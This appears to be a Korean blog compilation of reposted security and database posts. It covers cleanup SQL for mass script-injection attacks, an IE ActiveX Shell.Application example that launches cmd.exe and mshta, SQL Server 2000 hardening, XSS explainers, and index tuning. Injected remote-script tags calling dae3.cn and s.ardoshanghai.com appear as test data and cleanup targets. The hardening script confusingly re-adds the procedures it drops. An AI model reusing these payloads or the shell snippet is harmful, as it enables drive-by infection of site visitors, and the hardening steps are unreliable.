[출처] 아스키코드 유니코드 표|작성자 좋은생각
-- 테스트환경.
CREATE TABLE Test
(A varchar(1000) NULL)
GO
INSERT Test (A)
VALUES ('asdfdas.jpg<script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script>')
GO
INSERT Test (A)
VALUES ('asdfadsf.zip<script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script>')
GO
INSERT Test (A)
VALUES ('dfdasfdasf.jpgsdkaf')
GO
INSERT Test (A)
VALUES ('dsfasfdasf.zipdedfg')
GO
SELECT * FROM Test
GO
/*
asdfdas.jpg<script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script>
asdfadsf.zip<script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script>
dfdasfdasf.jpgsdkaf
dsfasfdasf.zipdedfg
*/
/* 반복되는스크립트가일정할때. 컬럼이TEXT 타입인경우, VARCHAR 으로형변환후함.
SQL Server 2000 의경우VARCHAR(8000) 이최대길이이므로, 최대길이는비교해보고해야함
*/
UPDATE Test
SET A = REPLACE(CONVERT(VARCHAR(8000),A) , '<script src=http://dae3.cn></script>', '')
-- 반복되는스크립트가일정하지않고, 특정파일뒤에만짜르고싶은경우. 컬럼이TEXT 일경우
UPDATE Test
SET A = LEFT(CONVERT(VARCHAR(8000),A),CHARINDEX( '.jpg',CONVERT(VARCHAR(8000),A))+3)
WHERE CHARINDEX( '.jpg',CONVERT(VARCHAR(8000),A)) > 0
UPDATE Test
SET A = LEFT(CONVERT(VARCHAR(8000),A),CHARINDEX( '.zip',CONVERT(VARCHAR(8000),A))+3)
WHERE CHARINDEX( '.zip',CONVERT(VARCHAR(8000),A)) > 0
-- 반복되는스크립트가일정할때. 컬럼이그냥일반char , varchar 등일경우.
UPDATE Test
SET A = REPLACE(A , '<script src=http://dae3.cn></script>', '')
-- 반복되는스크립트가일정하지않고, 특정파일뒤에만짜르고싶은경우.
UPDATE Test
SET A = LEFT(A,CHARINDEX( '.jpg',A)+3)
WHERE CHARINDEX( '.jpg',A) > 0
UPDATE Test
SET A = LEFT(A,CHARINDEX( '.zip',A)+3)
WHERE CHARINDEX( '.zip',A) > 0
/*
asdfdas.jpg
asdfadsf.zip
dfdasfdasf.jpg
dsfasfdasf.zip
*/
|
이 해킹기법은 순수한 연구목적으로 공개하며, 악의적인 사용을 방지하기 위해 코드는 최소한으로만 공개합니다.
최근에 해킹 기법중에서 MS IE를 이용해서 백도어를 설치하는 해킹이 많습니다. 그중에서 가장 많이 사용되는 방법이 ActiveXObject 중에서 "Shell.Application" 메소드를 사용하는 방법이 있습니다. 특히 중국 해커 애들이 이런 것을 애용하는 경우가 많습니다. 이 메소드는 인터넷 영역에서 인트라넷 영역 즉 하드디스크로 쓰기가 가능하기 때문에 백도어 설치에 아주 좋은 취약점이 됩니다.
따라서 절대로 의심이 가능 웹 사이트는 방문하지 마시고 부득이 웹사이트를 방문할 때는 IE의 보안 탭에서 Active 스크립트를 비활성 시키시면 악의적인 실행을 막을 수 있습니다.
사용예)
function ShellExecuteExe()
{ ShellApp = new ActiveXObject("Shell.Application"); 또는 아래와 같이 cmd를 실행시키는 방법을 쓰거나,
ShellApp.ShowBrowserBar("{C4EE31F3-4768-11D2-BE5C-00A0C9A83DA1}", true);
ShellApp.ShellExecute("cmd.exe");
제어판을 실행하도록 만들 수 있습니다.
ShellApp.ShellExecute("rundll32.exe", "shell32.dll,Control_RunDLL sysdm.cpl,,1")
ShellApp.ShellExecute("rundll32.exe", "shell32.dll,Control_RunDLL netcpl.cpl,,1"); } ShellApp.ShellExecute("c://windows//system32//mshta.exe","C://xx.hta") |
노후한 장비와 WinNT5.1xp4 노후한SQL2K 등을 쓰면서 업그레이드하고 싶지만 사정이 안되는 경우 -_-++
오늘도 이렇게 커넥트 되어 들어오는 짱개놈들 -_-;;
웹로그와 apnic 를 뒤진 결과 222.176.0.0 - 222.183.255.255 여기서 222.118.0.142 이녀석이 원인 -_-!!
어쨋든 일단 처리는 넘기고~
온갖 구글검색과 네이버지식IN SQL.PE.KR 을 참조하여 나름 방지 쿼리를 완성했슴미~~
1. 일단 이미 들어온 짱개놈들~~ 삭제쿼리는 다음과 같이
DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update ['+@T+'] set ['+@C+'] = replace(convert(varchar(8000),['+@C+']),''<script src=http://s.ardoshanghai.com/s.js></script>'','''')
where ['+@C+'] like ''%<script%'''
)
FETCH NEXT FROM Table_Cursor INTO @T, @C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
exec sp_helpfile;
빨간부분은 해당 들어온 스크립트를 삽입!!
2. 다음은 SQL Injecttion 방지를 위하여~~~ 여기저기 참조하여만들어본 쿼리~~
Use master
IF OBJECT_ID('[dbo].[xp_cmdshell]') IS NOT NULL BEGIN
exec sp_dropextendedproc 'xp_cmdshell'
END
go
Use master
exec sp_dropextendedproc 'xp_dirtree'
exec sp_dropextendedproc 'xp_enumgroups'
exec sp_dropextendedproc 'xp_fixeddrives'
exec sp_dropextendedproc 'xp_loginconfig'
exec sp_dropextendedproc 'xp_enumerrorlogs'
exec sp_dropextendedproc 'xp_getfiledetails'
exec sp_dropextendedproc 'Sp_OACreate'
exec sp_dropextendedproc 'Sp_OADestroy'
exec sp_dropextendedproc 'Sp_OAGetErrorInfo'
exec sp_dropextendedproc 'Sp_OAGetProperty'
exec sp_dropextendedproc 'Sp_OAMethod'
exec sp_dropextendedproc 'Sp_OASetProperty'
exec sp_dropextendedproc 'Sp_OAStop'
exec sp_dropextendedproc 'Xp_regaddmultistring'
exec sp_dropextendedproc 'Xp_regdeletekey'
exec sp_dropextendedproc 'Xp_regdeletevalue'
exec sp_dropextendedproc 'Xp_regenumvalues'
exec sp_dropextendedproc 'Xp_regread'
exec sp_dropextendedproc 'Xp_regremovemultistring'
exec sp_dropextendedproc 'Xp_regwrite'
drop procedure sp_makewebtask
go
Use master
exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
exec sp_addextendedproc 'xp_dirtree', 'xpstar.dll'
exec sp_addextendedproc 'xp_enumgroups', 'xplog70.dll'
exec sp_addextendedproc 'xp_fixeddrives', 'xpstar.dll'
exec sp_addextendedproc 'xp_loginconfig', 'xplog70.dll'
exec sp_addextendedproc 'xp_regaddmultistring', 'xpstar.dll'
exec sp_addextendedproc 'xp_regdeletekey', 'xpstar.dll'
exec sp_addextendedproc 'xp_regdeletevalue', 'xpstar.dll'
exec sp_addextendedproc 'xp_regread', 'xpstar.dll'
exec sp_addextendedproc 'xp_regremovemultistring', 'xpstar.dll'
exec sp_addextendedproc 'xp_regwrite', 'xpstar.dll'
exec sp_addextendedproc 'xp_enumerrorlogs', 'xpstar.dll'
exec sp_addextendedproc 'xp_getfiledetails', 'xpstar.dll'
exec sp_addextendedproc 'xp_regenumvalues', 'xpstar.dll'
go
REVOKE EXECUTE ON xp_regread FROM public
REVOKE EXECUTE ON xp_instance_regread FROM public
REVOKE EXECUTE ON dbo.sp_runwebtask FROM public
go
Use msdb
REVOKE EXECUTE ON sp_add_job FROM public
REVOKE EXECUTE ON sp_add_jobstep FROM public
REVOKE EXECUTE ON sp_add_jobserver FROM public
REVOKE EXECUTE ON sp_start_job FROM public
REVOKE ALL ON dbo.mswebtasks FROM public
REVOKE EXECUTE ON sp_enum_dtspackages FROM public
REVOKE EXECUTE ON sp_get_dtspackage FROM public
REVOKE EXECUTE ON sp_get_sqlagent_properties FROM public
go
Use master
dbcc xp_cmdshell(free)
dbcc xp_dirtree(free)
dbcc xp_regdeletekey(free)
dbcc xp_regenumvalues(free)
dbcc xp_regread(free)
dbcc xp_regwrite(free)
dbcc sp_makewebtask(free)
dbcc sp_adduser(free)
go
Use master
DENY EXECUTE ON [master].[dbo].[xp_subdirs] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_dirtree] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_availablemedia] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regwrite] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regread] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regaddmultistring] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regdeletekey] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regdeletevalue] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regremovemultistring] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regaddmultistring] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_fileexist] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_fixeddrives] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_getfiledetails] TO [guest] CASCADE
go
3. 다음은 ASP 관련 처리가 돼겠다~!
페이지상단처리
인젝션 유형: 제일많이 쓰는 내용이 " -- ", 혹은 " ' " 혹은 " ; "
이 세개의 특수문자이기 때문에 쿼리스트링에 해당 문자열이 포착되면은
에러페이지로 이동됩니다
1) 일반형식
Function RequestCheck(string)
If Instr(string,"'")>0 or Instr(string,"--") or Instr(string,";") then
Response.redirect "/error.asp"
else
str = string
End if
RequestCheck = str
End Function
Qri = Request.ServerVariables("Query_String")
Call RequestCheck(Qri)
2) 폼형식
Function FormCheck(string,opt)
If Instr(string,"--") or Instr(string,";") then
if opt=1 then
str = Replace(str,"--","..")
str = Replace(str,";",":")
elseif opt=2 then
Response.redirect "/error.asp"
end if
else
str = string
End if
FormCheck = str
End Function
subject = FormCheck(Request.Form("subject"),1)
opt의 경우 1은 .. 꼭 받아야할 정보이면, 리플레이스로 해서, 데이타 입력을 받고 (text타입인경우)
2는 ... 특수문자가 들어갈 확률이 없는데, 들어온경우로 에러를 내며, 페이지종료
3) 웹 문서 상의 쿼리문은 저장 프로시져로 항상 처리!
위 3가지 유형별로 처리만 일단 해주면 인젝션봇으로 아무생각없이 막 들어오는 짱개넘들을 방지할 수는 있을지도
근본적인 해결은 항상 최신 OS 최신 SQL 최신 패치 프로그래밍소스의 개발유지 등이 필요하겠지만~~~
[출처] SQL Injection 스크립트삽입 해킹 방지책! +_+|작성자 어진아씨
(서울=연합뉴스) 조성흠 기자 = 포털 사이트 게시판이 악성코드 유포 경로로 악용될 수 있다는 사실이 확인돼 주의가 요구된다.
18일 관련 업계에 따르면 최근 한 누리꾼이 중국 사이트에서 구한 신종 XSS(크로스사이트스크립팅) 스크립트를 다수의 네이버 카페 게시판에 올려 이를 실행시키는 데 성공했다.
XSS는 인터넷 상에서 악성코드를 유포하거나 컴퓨터 실행기록인 쿠키파일을 빼낼 때 사용되는 흔한 해킹 기법이다.
이용자가 이 XSS 스크립트가 심어진 게시물을 클릭하면 자신도 모르는 새 악성코드에 감염되거나 쿠키파일이 해커에게 넘어갈 수 있다.
특히 쿠키파일에는 이용자 아이디와 비밀정보가 포함돼 있는 경우가 많아 개인정보 유출의 위험이 큰 것이 사실이다.
암호화가 된 경우라도 간단한 조작을 거치면 원래 정보를 알아낼 수 있고 이를 위한 별도의 프로그램 또한 인터넷 상에서 쉽게 구할 수 있다.
실제로 이 누리꾼은 이를 이용해 자신이 만든 팝업창을 이용자의 컴퓨터에 띄우는 데 성공한 것으로 알려졌다. 네이버가 꾸준히 이들 XSS 스크립트에 대한 필터링을 하고 있지만 이 누리꾼은 신종 스크립트의 경우 방어시스템이 업데이트 되는데 시간이 걸리는 점을 악용한 것이다.
누리꾼의 제보를 받은 네이버는 해당 스크립트를 방어시스템에 업데이트하고 추가로 게시되지 못하도록 차단했다.
보안 업계에서는 네이버뿐만 아니라 국내외 모든 인터넷 게시판이 이 같은 취약점을 갖고 있다고 지적했다. 새로 발견된 XSS 스크립트를 꾸준히 방어시스템에 업데이트 하더라도 해커가 이를 다시 조작하면 손쉽게 시스템을 피해갈 수 있기 때문이다.
한 보안 전문가는 "이번 사례는 해커 개인의 개별 이용자에 대한 공격으로, 시스템 자체에 대한 해킹과는 전혀 별개의 사안"이라며 "업체들이 시스템적으로 이 같은 사례를 막기 위해 꾸준히 노력한다 해도 근본적으로 인터넷 게시판 서비스가 갖고 있는 한계가 있다"고 말했다.
그는 또한 "개인 이용자들이 경각심을 갖고 백신프로그램을 사용하는 등 보안수칙을 준수하는 것이 중요하다"고 덧붙였다.
* 크로스 사이트 스크립트란 ?
공격자가 보낸 코드를, 그 페이지를 열람한 다른 유저에게 스크립트로 실행시키는 것이 「크로스 사이트 스크립팅(XSS라고 생략해서 쓰기도 있다 )」아다. 유저의 입력 데이터를 표시하는 형식으로 되어 있는 게시판과 같은 Web어플리케이션에서 발생하기 쉬운 취약성이다.
Web어플리케이션에서 입력 데이터의 충분한 검증이 이루어지지 않을 때, 공격자는 악의가 있는 코드를 다른 유저가 열람하는 장소에 배치할 수가 있다. 그 페이지를 열람한 다른 유저는, 그 스크립트를 신뢰할 수 있는 것인지 아닌지를 판단할 방법이 없기 때문에 그대로 실행해 버린다. 그 결과 간단하게 그 유저가 사이트내에서 사용하고 있었던 Cookie나 세션 정보를 훔칠 수 있다.
이 공격은 성질상, 광범위하게 퍼지기 쉽다. 게시판 사이트 등 자신이 기입한HTML을 다른 사람이 열람할 수 있는 사이트를 이용해 크로스 사이트 스크립팅을 걸 수가 있다. 다음 폼은 열람자에게 다이얼로그 박스를 표시해주기 위한 스크립트이다.
![]() |
그림5 열람자에게 다이알로그 박스를 표시해주는 스크립트 |
이 예에서는 단순한 다이알로그 박스 표시의 스크립트이지만, 이 형식을 응용해서 공격자가 준비한 Web사이트에 액세스 시켜 Cookie 송신등을 실행시킬 수가 있다.
어플리케이션쪽에서 크로스 사이트 스크립팅을 방어하려면, 송신된 리퀘스트의 sanitizing이 효과적이다. sanitizing은 어떤 환경에서 제어 문자을 제어 문자가 아닌 단순한 문자로서 취급하게 하는 것이다. 위의 경우에서는 송신된 내용을 서버에 기입하기 전, 혹은 리스펀스 데이터를 돌려줄 때에 「<」를 「<, 「>」를 「>」으로 변환해 버리면 스크립트는 실행되지 않는다. 그리고 기호같이 사용할 수 있는 문자의 종류를 제한해 버리는 것도 효과적인 대처법이 될 수 있다.
이번에는 XSS공격에 대하여 몇자 적어 봅니다.
Cross Site Scripting은 웹사이트에 접속한 사용자가 공격의 대상이 되는 기법으로, 사용자의 입력 값에 악의적인 Javascript code를 삽입하여 웹 페이지를 로드 함으로 현재 페이지를 열람하는 사용자에게 스크립트를 실행시키도록 하는 것입니다. 그러므로 사용자의 입력을 받는 모든 사이트에서 XSS공격이 일어날 가능성이 있습니다. 특히 다음과 같은 상황에서 자주 발생합니다.
1. 검색할 단어를 입력하는 Input 영역에서 검색단어를 입력한 후, 검색 결과와 함께 입력한 검색 키워드를 다시 보여주는 경우
2. 사용자 입력 폼에 입력한 내용들을 다시 출력하는 경우
3. 게시판에서 쓴 내용들을 열람하는 경우
공격자는 XSS를 통해서 사용자의 쿠키를 변경하거나 탈취할 수 있으며 정상적인 사용자에 대해서 잘못된 정보를 보내줄 수도 있습니다. 이러한 XSS는 최근 Phishing기법에 많이 사용되는데 악의적인 사용자가 변조된 입력 폼을 제공함으로 다른 사용자의 정보가 노출되고 있습니다. 또한 자바 스크립트 코드뿐만 아니라 object들을 사용자의 브라우저상에서 실행시킴으로 광고팝업이나 브라우저를 변조할 수 있습니다.
XSS 공격을 방어하는 가장 좋은 방법은 어플리케이션이 모든 header 들, cookie, query string, form field, hidden field (예를 들면, 모든 parameter 들) 에 대해 유효성 검사를 실시하는 것입니다. 사용자의 입력이 화면에 출력되어 나오는 경우, 사용자의 입력 값을 HTML Entity로 변환시켜야만 합니다. 또한 위의 태그들을 HTML으로 인식시키지 않기 위해 스크립트에서는 함수를 지원합니다. 그리고 공개 게시판의 경우, HTML 형식을 지원하는 경우 XSS의 잠재적인 위험성이 존재하므로, 이를 중지할 필요가 있습니다.
기본 대책
사용자의 입력에 대해 Server.HTMLEncode함수를 사용하여 HTML태그를 비활성화 시킵니다.
‘ Server.HTMLEncode함수를 사용하여 HTML태그를 변환합니다.
<%= Server.HTMLEncode(“<script>alert(“XSS Test”);<script>”) %>
‘ 위의 결과 tag들이 비활성화 됩니다.
HTML코드의 시작을 알리는 ‘<’ 에 대해서 < 으로 변환시키는 방법입니다.
/% less than (<) character 를 < 으로 변환시킵니다. %/
String userInput = request.getParameter(“keyword”);
user_input = user_input.replaceAll(“’”, “\’”);
PHP의 내장함수 가운데 입력 문자열에 대해서 HTML코드를 변환시켜주는 htmlentities()를 사용하여 XSS를 막습니다.
<?
$str = "A 'quote' is <b>bold</b>";
echo htmlentities($str);
// 출력: A 'quote' is <b>bold</b>
?>
이것또한 간단 하게 기본적인 부분만 처리 해주어도 상당부분 방어가 가능합니다.
조금 귀찮더라도 이정도 처리는 해주어야 하지 않을까 합니다.
[출처] XSS 스크립트 (크로스사이트스크립팅)|작성자 syberhiphop
데이터베이스 시스템을 개발하면서 반드시 필요한 항목 중에 하나가 인덱스다. 인덱스를 이용해야만 우리가 원하는 조회 성능을 보장받을 수 있다. 하지만, 인덱스를 많이 생성하면 오히려 여러 가지 부작용이 발생한다. 이처럼 인덱스는 반드시 필요하지만 잘못 구성하면 돌이킬 수 없는 상황을 유발하기도 한다. 인덱스는 이와 같은 속성 때문에 필요악이라고 말한다. 이러한 인덱스의 부작용을 최대한 방지하려면 최적의 결합 컬럼 인덱스를 생성해야 하며 단일 칼럼 인덱스는 최대한 자제해야 한다.
인덱스를 이용하면서 앞서 우리는 처리 범위를 감소시키기 위해 연산자에 의해 결합 컬럼 인덱스의 컬럼을 선정하는 것과 랜덤 액세스를 제거하는 방법에 대해 확인해 보았다. 이번에는 시스템의 성능을 좌우하는 정렬을 제거하는 결합 컬럼 인덱스의 생성에 대해 알아 보자. 데이터베이스 시스템에서 정렬을 제거할 수 있다면 우리는 많은 혜택을 받을 수 있을 것이다.
정렬의 제거는 인덱스에 의해 좌우된다.
정렬을 제거하려면 어디엔가는 정렬된 데이터가 존재해야 한다. 데이터베이스에서 데이터를 저장하는 장소는 테이블과 인덱스다. 인덱스는 인덱스를 구성하는 컬럼의 값이 실제로 저장된다. 그렇다면 테이블과 인덱스 둘 중 한곳에 정렬된 데이터가 저장된다면 그 것을 이용하여 자동으로 정렬된 값을 추출할 수 있을 것이다. 그렇다면 어느 곳에 정렬된 데이터가 존재하는가? 각각의 특성을 확인해 보자.
● 테이블 - 데이터가 INSERT 되는 순서에 의해 저장되므로 어떤 칼럼에 의해 정렬된 데이터가 저장되지 않는다.
● 인덱스 - 인덱스를 구성하는 컬럼에 의해 정렬된 데이터가 저장된다. 인덱스의 첫 번째 컬럼에 의해 정렬되며 첫 번째 컬럼의 값이 동일한 데이터에 대해서는 인덱스의 두 번째 컬럼에 의해 정렬된다.
테이블에는 정렬된 데이터가 저장될 수 없다. 단지, INSERT 되는 순서에 의해 데이터를 저장하게 된다. 그러므로 어떤 컬럼으로 정렬되어 저장될 가능성은 거의 없다. 하지만, 인덱스는 어떠한가? 이는 사전의 인덱스와 동일하다. 사전에는 모든 단어들이 정렬되어 저장된다. 이와 같이 인덱스는 인덱스를 구성하는 첫 번째 컬럼으로 정렬된 데이터가 저장된다. 인덱스의 첫 번째 컬럼이 동일한 값이라면 인덱스의 두 번째 컬럼으로 정렬된 데이터가 저장될 것이다. 그렇기 때문에 인덱스는 전체적으로 인덱스의 첫 번째 컬럼에 의해 정렬된 데이터가 저장되며 두 번째, 세 번째 칼럼에는 정렬된 데이터가 저장되지 않는다. 이 또한 사전의 인덱스와 동일하다. 사전을 확인해 보면 가장 먼저 A~Z로 정렬되어 있다. 그렇다면 동일한 A로 시작하는 단어는 어떠한가? 해당 단어는 두 번째 단어로 정렬되어 있게 된다. 따라서, AA부터 사전에 등록되고 A로 시작하는 단어의 마지막은 AZ로 시작하는 단어가 된다.
물론, AA로 시작하는 단어 중에는 AAA로 시작하는 단어가 가장 앞에 위치하게 된다. 데이터베이스의 인덱스도 사전의 인덱스와 동일하다.
이와 같은 이유에서 정렬을 제거하기 위해서는 정렬된 데이터가 저장되어 있는 인덱스를 이용해야 할 것이다.
정렬의 제거는 SQL을 가볍게 만든다.
데이터베이스에서 모든 정렬을 제거한다는 것은 어려운 일이다. 물론, 마음먹고 정렬을 제거하고자 한다면 모든 정렬을 제거할 수 있다. 이와 같다면 해당 시스템은 정렬에 대한 부하가 발생하지 않기 때문에 엄청난 성능 향상을 기대할 수 있을 것이다. 반면에 SQL은 인덱스에 의해 제어되고 이를 모르는 사람이 운영을 하게 되면 어느 순간 이와 같은 규칙이 무너질 수 있다. 이와 같은 규칙이 무너지는 순간 해당 시스템은 엄청난 문제가 발생할 것이다. 이처럼 SQL에서 모든 정렬을 제거한다면 관리가 어려워 질 수 있으므로 모든 정렬을 제거하는 것 또한 위험 요소가 된다.
가장 이상적인 방법은 중요한 SQL을 선정하여 해당 SQL에 대해서만 인덱스를 이용해 정렬을 제거하는 것이다. 이와 같이 인덱스를 이용하여 정렬 제거에 대해 전략을 수립하여 적용한다면 시스템의 성능 향상을 기대해도 될 것이다.
그렇다면 어떻게 인덱스를 이용하여 정렬을 제거할 수 있겠는가? 다음의 예제를 확인해 보자.
SQL> SELECT 카드번호, 사용액
FROM 거래내역
WHERE 카드번호 = ‘111’
ORDER BY 거래일자;
이와 같은 예제에서 거래내역 테이블에 카드번호+거래일자 인덱스를 생성하여 해당 인덱스를 이용한다면 자동으로 정렬된 데이터가 추출될 것이다. 그렇다면 해당 SQL에서 ORDER BY 절을 제거해도 된다. 카드번호 컬럼의 값은 동일하므로 카드번호+거래일자 인덱스를 이용한다면 인덱스의 두 번째 컬럼인 거래일자 컬럼의 값으로 자동 정렬되어 결과가 추출되기 때문이다. 인덱스를 이용한 정렬에 대해 한 가지 예제를 추가로 확인해 보자.
SQL> SELECT 카드번호, 사용액
FROM 거래내역
WHERE 카드번호 = ‘111’
AND 거래일자 BETWEEN ‘20080801’ AND ‘20080830’
ORDER BY 승인번호;
이 SQL은 어떻게 인덱스 선정을 해야 정렬된 데이터가 추출될까? 기존대로 인덱스를 WHERE 조건 절과 ORDER BY 절에 사용된 컬럼의 조합으로 생성하면 자동으로 정렬된 데이터가 추출되는가? 그렇다면 인덱스를 카드번호+거래일자+승인번호로 생성한다면 원하는 형태로 승인번호 컬럼의 값으로 정렬된 데이터가 추출되어 ORDER BY 절을 생략할 수 있게 되는가? 이와 같이 인덱스를 선정한다면 정렬된 데이터는 추출되지 않을 것이다. 그 이유는 거래일자 조건의 값이 하나의 값만을 의미하지 않기 때문에 승인번호 컬럼의 값으로 정렬된 데이터가 추출되지 않는다. 그렇다면 어떻게 인덱스를 구성해야 하는가? 자동으로 승인 번호 컬럼의 값으로 정렬된 데이터를 추출하고자 한다면 카드번호+승인번호+거래일자 인덱스 또는 카드번호+승인번호 인덱스를 생성해야 한다.
이와 같이 인덱스를 생성하면 인덱스의 첫 번째 컬럼이 하나의 값만을 의미하게 되므로 인덱스의 두 번째 컬럼인 승인번호 컬럼의 값으로 정렬된 데이터가 추출된다. 카드번호+승인번호+거래일자 인덱스의 거래일자 컬럼은 처리 범위를 감소시키지는 못하며 확인 랜덤 엑세스만을 제거하게 된다. 결국, 정렬을 위한 인덱스는 다음과 같은 형태로 생성해야 한다.
● 점 조건+……+점 조건+ORDER BY 절의 첫 번째 컬럼+……+ORDER BY 절의 n번째 컬럼+선분 조건+……+선분 조건
이런 구조로 인덱스를 생성한다면 ORDER BY 절에 의해 정렬된 데이터가 자동으로 추출되며 모든 선분 조건들은 랜덤 엑세스만을 제거하는 조건이 된다. 위의 규칙에서 점 조건은 Where 조건 절에서 = 조건을 사용한 컬럼을 의미한다. 선분 조건은 = 조건을 제외한 다른 연산자를 사용한 Where 조건 절의 컬럼을 의미한다.
데이터베이스 시스템에서 매우 중요하게 사용되는 SQL에 대해 정렬을 제거할 수 있다면 SQL의 단순화와 성능 향상이라는 매우 큰 혜택을 얻게 될 것이다. 이와 같은 혜택을 누리기 위해서는 프로젝트 초반부터 정렬을 제거하는 인덱스 선정에 많은 노력을 해야 할 것이다.
권순용 kwontra@hanmail.net|DBA로 시작해서 현재는 프리랜서로 SQL 튜닝, 데이터베이스 아키텍처 및 모델링 업무를 주로 하고 있다. 데이터베이스 교육에도 많은 관심을 가지고 있으며 저서로는 정보문화사의 『Perfect! 오라클 실전 튜닝』과 『초보자를 위한 오라클 10g』가 있다. 2008년 4월 데이터 액세스 최적화에 대한 특허를 출원했으며 최근 마이크로소프트웨어에서 『Inside SQL for Beginner』를 출간했다. 현재 데이터베이스 동호회인 cafe.daum.net/oracity 시삽으로 활동 중이다.
사용자를 행복하게 만들려면, 그들이 스스로의 환경을 제어할 수 있다고 느끼도록 만들어야 한다. 이를 위해서는 사용자들의 행동을 정확하게 해석해야 하며, 그들이 기대하는 바대로 움직이는 인터페이스를 만들어야 한다.
즉, 모든 사용자 인터페이스 설계에 적용되는 대원칙은 바로 이것이다.
프로그램이사용자의기대와똑같이움직이도록사용자인터페이스를설계하라. |